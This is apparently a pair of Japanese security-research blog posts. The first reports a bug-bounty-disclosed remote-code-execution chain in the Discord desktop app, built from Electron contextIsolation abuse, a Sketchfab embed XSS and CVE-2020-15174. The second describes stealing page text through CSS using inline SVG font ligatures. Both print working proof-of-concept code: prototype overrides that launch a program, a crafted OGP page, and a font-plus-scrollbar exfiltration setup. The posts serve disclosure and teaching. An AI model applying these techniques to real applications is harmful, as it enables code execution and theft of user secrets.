Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。

発見した脆弱性

私は主に次の3つのバグを組み合わせることでRCEを達成しました。

  1. contextIsolationオプションの不使用
  2. 埋め込みコンテンツのXSS
  3. ナビゲーション制限のバイパス(CVE-2020-15174)

1つずつ紹介していきます。

contextIsolationオプションの不使用

Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用するBrowserWindow APIで使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。

Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。

メインウィンドウでは、以下のオプションが使用されていました。 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。

nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、require呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。

<script>
  require('child_process').exec('calc');
</script>

今回は、nodeIntegrationはfalseに設定されていたので、このように直接requireを使ってNode.jsの機能を使うことはできません。

しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。

contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、Electron自体がレンダラで使っているJavaScriptコードや、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドであるArray.prototype.joinをWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上でjoinが使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。

この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。

なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。

その時の検査のレポートが以下に最近公開されたので、よければご覧ください。

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

また、私が以前イベントでこの問題について発表した資料も以下にあります。


contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。

contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。

通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。

スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを紹介しましたが、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。) 

ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。

すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、DiscordNative.nativeModules.requireModule('モジュール名')を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。

以下がそのPoCです。discord_utils というモジュールが定義するgetGPUDriverVersionsRegExp.prototype.testArray.prototype.joinを以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersionsは、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

execaはnvidiaSmiPath変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、RegExp.prototype.testArray.prototype.joinを上書きしたことで、execa内部の処理で、引数がcalcに変更されます。

具体的には次の2か所を変更することで引数を取り換えています。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。

埋め込みコンテンツのXSS

任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。

Discordは、URLが貼り付けられると、そのURLのOGP情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。

このOGPから、動画のURL情報を取り出し、その"動画のURLが"埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。

どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「sketchfab.com」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。

以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。

新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。

ナビゲーション制限のバイパス(CVE-2020-15174)

ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、preventDefault()によってナビゲーションは中断されるはずです。

不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。

このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、top.location="//l0.cm/discord_calc.html"などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。

このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。


おわりに

これらの問題は、DiscordのBug Bounty Programを通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。

SketchfabのXSSは、SketchfabのBug Bounty Programを通じて報告し、修正されました。こちらも$300の報奨金をいただきました。

will-navigateイベントが送出されない動作はElectronのバグとしてElectronのセキュリティ窓口を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在はElectronのデフォルトでcontextIsolationを有効化するなど、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。

この記事がElectronアプリを安全にするための一助となれば幸いです。

SVGフォントとCSSを使ってページ内のテキストを読み取る

$
0
0

English version is here: https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html

この記事では、SVGフォントとCSSを使って、ページ内のテキストを読み取る方法を紹介します。

CSSを使ってデータを読み取る方法はいくつか知られており、既知の手法が以下のサイトでよくまとめられています。

CSS Injection Primitives :: DoomsDay Vault

https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

これらのテクニックは、入力がサニタイズされていて使えるHTMLタグが限られているケースや、Content Security Policy(CSP)の制限によってJavaScriptが使えない状況などでも、スタイルの記述ができることなど一部の条件さえ満たしていれば使えるため、攻撃者にとって有用な場合があります。

今日紹介するテクニックもそのようなテクニックの1つです。ただ、完全に新しいものではなく、以下のMichał Bentkowskiさんによる合字を使ったテクニックを少し置き換えただけのものです。

Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com

https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/

ほぼ同じ手法ではあるものの、他で言及されているのを見たことがなかったことと、MichałさんのテクニックがCSPなどの制約により使用できない状況でも、こちらは使用できる場合があり、言及する価値があると思ったため、この記事を書くことにしました。

まず、Michałさんのテクニックがどのようなものか簡単に説明します。

フォントには、合字(ligature)を設定する仕組みがあります。合字とは、複数の文字を合成して一文字にしたものです。合字をフォント側で設定すると、例えば、「a」と「b」が隣り合わせに並んでいるとき、「ab」を1つの文字とみなして字体を適用することが可能です。この仕組みが、ページ内のテキストデータの読み取り攻撃を可能にします。具体的にどのように攻撃が可能か紹介していきます。

例として、ページ内に「"secret"」という文字列があり、攻撃者はこれを読み取りたいとしましょう。このとき、このテキストが含まれる箇所をCSSセレクタで指定し、攻撃者が作成した合字を持つフォントを適用します。攻撃者はまず、「"a」が合字になっているフォントを適用します。このとき、合字の文字幅を他の文字より大きく設定しておきます。「"a」は読み取りたい部分には存在しないので、大きな文字幅のフォントはページ上には表示されないことになります。さらに、「"b」「"c」「"d」...と、別のアルファベットが合字になったフォントをそれぞれ適用していきます。そうしていくと、「"s」が合字になったフォントを適用したときに、実際に大きな文字幅の字体がページ上に表示されることになります。これが適用されたことをある方法で検出することにより、「"s」がそこにあることをリークします。どのように検出するかというと、ChromeやSafariがサポートしている「-webkit-scrollbar」というスクロールバーのスタイルを指定できるCSS疑似要素を使います。このCSS疑似要素で、合字が適用される部分に、背景画像をロードするスタイルを設定しておくのです。この背景画像は、リクエスト量を抑えるブラウザ側の配慮のため、スタイルを設定するだけではロードされず、スクロールバーが実際に表示されたときにはじめてロードされるようになっています。この仕様のおかげで、文字幅が大きいフォントが出現したときだけ、スクロールバーが現れるように対象の要素のCSSを調整しておくことで、画像のロードの有無から、「"s」がそこにあるかどうかを検出できてしまいます。「"s」がわかったら、次は、「"sa」「"sb」「"sc」...と、3文字の文字幅が大きい合字を作成して、同様の試行を繰り返し、さらに、4文字の合字、5文字の合字と、合字の文字数を増やしていくことで、最終的に対象のすべての文字を読み取ることができてしまいます。

以上がMichałさんの発明したテクニックです。Michałさんは、SVG形式のフォントをWOFF形式のフォントに変換することでこれを行いましたが、この記事で紹介する方法では、SVG形式のフォントをあえてそのまま使います。Michałさんは、ブラウザがSVGフォントのサポートを辞めたためWOFFを使用したと書いていますが、実はSafariはSVGフォントをサポートしており、現在も使えます。今から紹介する方法は、SVGフォントを使う以外はMichałさんの手法とほぼ同じです。それでもあえて紹介したいのは、SVGフォントを使わないと攻撃できない状況がありうるからです。というのも、SVGフォントは、WOFF形式のフォントなどと同じように、URLからロードすることもできるのですが、URLからロードすること無しに、フォント全てをインラインで記述して設定することもできます。こうすると、CSPがフォントリソースのロードをブロックするような状況でもフォントを定義してフォントを適用することができます。

具体的にMichałさんの手法がどのように置き換えられるかみていきます。

Michałさんの手法では、<style>タグの@font-faceからWOFFフォントをロードしていました。

<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

このスタイルは、インラインのSVGフォントで次のように置き換えられます。以下は「"0」の合字だけ文字幅を大きくして、その他の文字の文字幅を小さく設定するようなフォントの定義です。

<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

これで、CSSからfont-familyをhackに指定すると、SVG外であろうと、このSVGフォントをフォントとして使用できます。このとき、CSPでfont-src 'none'が指定されていようともブロックされることはありません。(ただし、最終的にデータの読み出しに使用するのはスクロールバーの背景画像を使った画像リクエストであることは同じなので、最低限img-srcディレクティブでリクエストを観測可能なホストが許可されている必要があります。)

実際のPoCをみていきましょう。

次のようなターゲットのページがあるとします。

https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>

<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

xssパラメータにインジェクションがあり、CSPのせいでスクリプトの実行やフォントのロードはできず、scriptブロック内のsecret変数に秘密情報がある、といったページです。この状況で、SVGフォントを利用して、secretを読み出すことができることを示します。

以下のURLに"Safariで"アクセスして、「Go」ボタンをクリックすることで再現できます。

PoC: https://l0.cm/svg_font/poc.php

攻撃に利用した全てのコードはここにあります: https://github.com/masatokinugawa/css-exfiltration-svg-font

うまく動けば、以下の動画のように、複数のウインドウが開き、しばらく待っていると、「Go」ボタンがあるページ上に「573b...」と少しずつsecretが表示されていくはずです。

SVGフォントを使用した以外は、MichałさんのPoCとほぼ同じなのですが、少しだけ変更した点があります。MichałさんのPoCではiframeでターゲットのページをロードしていましたが、これをwindow.open()で開くようにしました。これは、Safariは現在デフォルトで全てのサードパーティCookieをブロックするため、iframeを使った攻撃はログイン済みのユーザーのデータを読み取る攻撃の例として現実的でないと考えたからです。また、データの受け渡し方法も変更しています。MichałさんのPoCでは、Cookieを経由して値を渡していますが、ここでも、サードパーティCookieのブロックのために背景画像のロード時にCookieをセットできないため、セッションIDをURLに付けることで代用しています。

ちなみに、一度に複数のウィンドウを開けているのは、Safariのポップアップブロッカーは1回のクリックで開けるウィンドウ数に制限がないためです。このおかげで、Safariでは、1回のクリックさえあれば、複数のウィンドウを使ってデータの読み出し試行が可能です。


以上、SVGフォントとCSSを使ってページ内のテキストを読み取る手法について紹介しました。

CSPでスクリプトの実行をブロックされることが増えてきた昨今、スクリプトを使わない攻撃はまだ何かないかといつも考えています。また何か面白いことに気付いたら紹介したいと思います。


Viewing all 75 articles
Browse latest View live